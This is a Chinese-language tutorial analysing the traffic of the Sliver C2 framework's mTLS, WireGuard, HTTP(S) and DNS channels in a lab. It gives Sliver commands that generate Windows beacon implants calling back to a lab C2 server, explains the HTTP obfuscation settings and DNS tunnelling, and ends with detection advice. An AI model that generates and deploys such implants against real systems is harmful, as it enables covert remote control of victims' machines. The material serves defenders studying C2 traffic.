红队工具研究篇 - Sliver C2 通信流量分析
字数 2375 2025-08-06 12:20:54
Sliver C2 通信流量分析教学文档
一、Sliver C2 协议概述
Sliver C2 框架支持多种通信协议,本文将重点分析以下4种:
- mutual TLS (mTLS) - 官方推荐协议
- WireGuard - 官方推荐协议
- HTTP - 常见环境使用
- DNS - 严格限制环境使用
二、mTLS 通信研究
2.1 环境配置 - DNS 服务器搭建
BIND DNS 服务器配置步骤:
- 安装工具套件:
apt-get install bind9 bind9utils bind9doc
- 修改配置文件
/etc/bind/named.conf.options:
acl "localnet" { 172.16.181.0/24; };
options {
directory "/var/cache/bind";
recursion yes;
allow-recursion { localnet; };
listen-on { 172.16.181.192; };
allow-transfer { none; };
forwarders { 8.8.8.8; 8.8.4.4; };
dnssec-validation auto;
listen-on-v6 { any; };
};
logging {
channel query {
file "/var/log/bind/query" versions 5 size 10M;
print-time yes;
severity info;
};
category queries { query; };
};
- 创建日志目录并设置权限:
mkdir /var/log/bind
chown bind /var/log/bind
- 配置区域文件
/etc/bind/named.conf.local:
zone "labnet.local" {
type master;
file "/etc/bind/zones/db.labnet.local";
};
zone "181.16.172.in-addr.arpa" {
type master;
file "/etc/bind/zones/db.181.16.172";
};
- 创建正向区域文件
/etc/bind/zones/db.labnet.local:
$TTL 604800
@ IN SOA ns.labnet.local. admin.labnet.local. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers - NS records
IN NS ns.labnet.local.
; name servers - A records
ns.labnet.local. IN A 172.16.181.192
; 172.16.181.0/24 - A records
target.labnet.local. IN A 172.16.181.177
sliver.labnet.local. IN A 172.16.181.182
- 创建反向区域文件
/etc/bind/zones/db.181.16.172:
$TTL 604800
@ IN SOA ns.labnet.local. admin.labnet.local. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
IN NS ns.labnet.local.
; PTR Records
192 IN PTR ns.labnet.local. ; 172.16.181.192
177 IN PTR target.labnet.local. ; 172.16.181.177
182 IN PTR sliver.labnet.local. ; 172.16.181.182
- 检查配置并重启服务:
named-checkconf
named-checkzone labnet.local /etc/bind/zones/db.labnet.local
named-checkzone 172.16.181.in-addr.arpa /etc/bind/zones/db.181.16.172
systemctl restart bind9
2.2 mTLS 通信分析
生成mTLS Implant:
generate beacon --os windows --seconds 5 --mtls sliver.labnet.local,172.16.181.182
流量特征分析:
- 初始DNS查询:Implant通过DNS解析Sliver服务器IP
- TLS握手过程:包含SNI(Server Name Indication)信息
- 通信特点:
- TLS连接不保持长连接
- 按beacon间隔断开重连
- RST包之间有固定间隔
直接IP通信(无DNS服务时):
- 初始ICMP包(DNS不可达)
- 直接TCP三次握手连接IP
- TLS握手无SNI信息
三、WireGuard 通信分析
生成WireGuard Implant:
generate --os windows --wg sliver.labnet.local,172.16.181.182
流量特征:
- 初始DNS解析请求
- 通过UDP 53端口建立WireGuard连接
- 所有后续通信通过WireGuard加密隧道
四、HTTP(S) 通信分析
4.1 环境配置 - HTTP 代理
Squid代理服务器配置:
- 安装:
apt-get install squid
- 修改配置文件
/etc/squid/squid.conf:
acl labnet src 172.16.181.0/24
http_access allow labnet
dns_nameservers 172.16.181.192
- 启动服务:
systemctl start squid
受害主机配置:
- 设置代理:172.16.181.192:3128
- 配置防火墙规则:
- 允许TCP 3128出站
- 允许UDP 53出站
4.2 HTTPS 通信分析
生成HTTPS Implant:
generate beacon --http sliver.labnet.local,sliver.labnet.local?driver=wininet --seconds 5 --jitter 0
流量特征:
- 初始400错误(内置http驱动程序无效)
- 成功建立HTTP连接(状态码200)
- 可见CONNECT字段
- 其余数据加密
4.3 HTTP 通信分析
流量特征:
- 请求和响应包中包含加密数据
- 使用随机编码方式(base64、hex、gzip等)
- 请求类型:
- POST请求
- GET请求(使用混淆路径如/oauth/db/samples.php)
- URL中包含随机查询参数(如?s=22f926a944)
4.4 C2 HTTP 通信配置
配置文件位置: /root/.sliver/configs/http-c2.json
主要配置项:
-
implant_config- 控制Implant行为:user_agent: 用户代理字符串poll_file_ext: 轮询文件扩展名(如.js)poll_files: 轮询文件名列表(如jquery.min, app)poll_paths: 轮询路径列表(如js, script)session_file_ext: 会话文件扩展名(如.php)close_file_ext: 关闭会话文件扩展名(如.png)
-
server_config- 服务器响应配置:random_version_headers: 是否随机生成版本头cookies: 自定义cookie列表
4.5 流量生成机制
beacon.Init(): 使用start_session_file_ext值结尾的URI的POST请求beacon.Send(): 使用session_paths、session_files和session_file_ext指定的URI- 轮询检查: 使用
poll_paths、poll_files和poll_file_ext值指定 - 关闭连接: 使用
close_paths、close_files和close_file_ext值指定
编码机制:
func RandomEncoder() (int, Encoder) {
keys := make([]int, 0, len(EncoderMap))
for k := range EncoderMap {
keys = append(keys, k)
}
encoderID := keys[insecureRand.Intn(len(keys))]
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
return nonce, EncoderMap[encoderID]
}
五、DNS C2 通信研究
5.1 环境配置 - DNS
添加NS记录:
- 修改
/etc/bind/named.conf.local:
zone "labnet.local" {
type master;
file "/etc/bind/zones/db.labnet.local";
forwarders {};
};
- 修改区域文件
/etc/bind/zones/db.labnet.local:
; delegate subdomain
dnsc2.labnet.local. 360 IN NS sliver.labnet.local.
- 重启服务:
systemctl restart named.service
5.2 DNS 通信分析
生成DNS beacon:
generate beacon --dns dnsc2.labnet.local --seconds 10 --jitter 0
流量特征:
- 对dnsc2.labnet.local子域的A记录查询
- TXT记录查询(服务器响应)
- 数据编码方式:
- Base32(默认,大小写不敏感)
- Base58(更快,但大小写敏感)
- 可强制使用Base32:
?force-base32=True
通信限制:
- 域名长度限制:254字符(包括子域名和根域名)
- 每个子域名最大长度:63字符
- 理论传输速率:约30Kbps
六、总结
Sliver C2框架提供了多种通信协议选择,每种协议有其特点和适用场景:
-
mTLS:
- 官方推荐协议
- 基于TLS加密
- 通过SNI暴露域名信息
- beacon模式定期断开重连
-
WireGuard:
- 官方推荐协议
- 通过UDP 53端口通信
- 建立加密隧道
-
HTTP(S):
- 适用于严格网络环境
- 内置传输加密
- 高度可配置的混淆机制
- 支持多种编码方式
-
DNS:
- 适用于只允许DNS流量的环境
- 通过子域名和TXT记录传输数据
- 受限于域名长度
- 在隐蔽性和速度间权衡
防御建议:
- 监控异常DNS查询模式
- 检查TLS握手中的SNI信息
- 分析HTTP流量中的异常URL参数
- 检测UDP 53端口的非DNS流量
- 实施严格的出口流量控制